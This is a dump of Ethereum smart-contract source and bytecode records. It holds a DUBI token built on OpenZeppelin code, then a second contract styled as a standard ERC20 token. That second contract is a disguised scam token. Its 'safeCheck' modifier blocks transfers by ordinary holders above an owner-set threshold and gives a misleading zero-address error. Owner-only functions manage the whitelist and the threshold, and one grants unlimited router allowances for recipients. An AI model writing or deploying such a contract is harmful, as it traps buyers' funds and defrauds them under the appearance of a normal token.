// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/DUBI.sol
contract DUBI is StandardToken, BurnableToken, RBAC {
string public constant name = "Decentralized Universal Basic Income";
string public constant symbol = "DUBI";
uint8 public constant decimals = 18;
string constant public ROLE_MINT = "mint";
event MintLog(address indexed to, uint256 amount);
function DUBI() public {
totalSupply = 0;
}
// used by contracts to mint DUBI tokens
function mint(address _to, uint256 _amount) external onlyRole(ROLE_MINT) returns (bool) {
require(_to != address(0));
require(_amount > 0);
// update state
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
// logs
MintLog(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
}
|
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010c578063095ea7b31461019a5780630988ca8c146101f457806318160ddd14610270578063217fe6c61461029957806323b872dd1461032d578063313ce567146103a657806340c10f19146103d557806342966c681461042f578063661884631461045257806370a08231146104ac57806388cee87e146104f957806395d89b4114610575578063a9059cbb14610603578063b25fa92c1461065d578063d391014b146106d9578063d68d961a14610767578063d73dd623146107f5578063dd62ed3e1461084f575b600080fd5b341561011757600080fd5b61011f6108bb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015f578082015181840152602081019050610144565b50505050905090810190601f16801561018c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a557600080fd5b6101da600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061091b565b604051808215151515815260200191505060405180910390f35b34156101ff57600080fd5b61026e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610a0d565b005b341561027b57600080fd5b610283610a8e565b6040518082815260200191505060405180910390f35b34156102a457600080fd5b610313600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610a94565b604051808215151515815260200191505060405180910390f35b341561033857600080fd5b61038c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b1b565b604051808215151515815260200191505060405180910390f35b34156103b157600080fd5b6103b9610eda565b604051808260ff1660ff16815260200191505060405180910390f35b34156103e057600080fd5b610415600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610edf565b604051808215151515815260200191505060405180910390f35b341561043a57600080fd5b61045060048080359060200190919050506110c5565b005b341561045d57600080fd5b610492600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061121a565b604051808215151515815260200191505060405180910390f35b34156104b757600080fd5b6104e3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114ab565b6040518082815260200191505060405180910390f35b341561050457600080fd5b610573600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506114f4565b005b341561058057600080fd5b610588611541565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105c85780820151818401526020810190506105ad565b50505050905090810190601f1680156105f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561060e57600080fd5b610643600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061157a565b604051808215151515815260200191505060405180910390f35b341561066857600080fd5b6106d7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061179e565b005b34156106e457600080fd5b6106ec6117eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561072c578082015181840152602081019050610711565b50505050905090810190601f1680156107595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561077257600080fd5b61077a611824565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107ba57808201518184015260208101905061079f565b50505050905090810190601f1680156107e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561080057600080fd5b610835600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061185d565b604051808215151515815260200191505060405180910390f35b341561085a57600080fd5b6108a5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a59565b6040518082815260200191505060405180910390f35b606060405190810160405280602481526020017f446563656e7472616c697a656420556e6976657273616c20426173696320496e81526020017f636f6d650000000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b610a8a826003836040518082805190602001908083835b602083101515610a495780518252602082019150602081019050602083039250610a24565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020611ae090919063ffffffff16565b5050565b60005481565b6000610b13836003846040518082805190602001908083835b602083101515610ad25780518252602082019150602081019050602083039250610aad565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020611af990919063ffffffff16565b905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b5857600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ba657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c3157600080fd5b610c8382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d1882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dea82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b60006040805190810160405280600481526020017f6d696e7400000000000000000000000000000000000000000000000000000000815250610f213382610a0d565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610f5d57600080fd5b600083111515610f6c57600080fd5b610f8183600054611b6b90919063ffffffff16565b600081905550610fd983600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167fd1d3d8a67ea3222e190a25cd89ce4613287a3f3d1272268cfd5639d6bad416b3846040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561111557600080fd5b33905061116a82600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5290919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111c282600054611b5290919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561132b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113bf565b61133e8382611b5290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611533336040805190810160405280600581526020017f61646d696e000000000000000000000000000000000000000000000000000000815250610a0d565b61153d8282611b89565b5050565b6040805190810160405280600481526020017f445542490000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156115b757600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561160557600080fd5b61165782600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116ec82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6117dd336040805190810160405280600581526020017f61646d696e000000000000000000000000000000000000000000000000000000815250610a0d565b6117e78282611cda565b5050565b6040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525081565b6040805190810160405280600481526020017f6d696e740000000000000000000000000000000000000000000000000000000081525081565b60006118ee82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611aea8282611af9565b1515611af557600080fd5b5050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6000828211151515611b6057fe5b818303905092915050565b6000808284019050838110151515611b7f57fe5b8091505092915050565b611c06826003836040518082805190602001908083835b602083101515611bc55780518252602082019150602081019050602083039250611ba0565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020611e2b90919063ffffffff16565b7fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611c9b578082015181840152602081019050611c80565b50505050905090810190601f168015611cc85780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b611d57826003836040518082805190602001908083835b602083101515611d165780518252602082019150602081019050602083039250611cf1565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020611e8990919063ffffffff16565b7fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b7004898282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611dec578082015181840152602081019050611dd1565b50505050905090810190601f168015611e195780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505600a165627a7a72305820fe4eaa2f33cc0ec922fe11d0e296f1699bb98b89fa72bbb1abcfa7a4fecd5be10029
|
{"success": true, "error": null, "results": {}}
| 4,188 |
0x928306d35ff2eedea8833728ff18d354c2430d17
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_CWS(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673f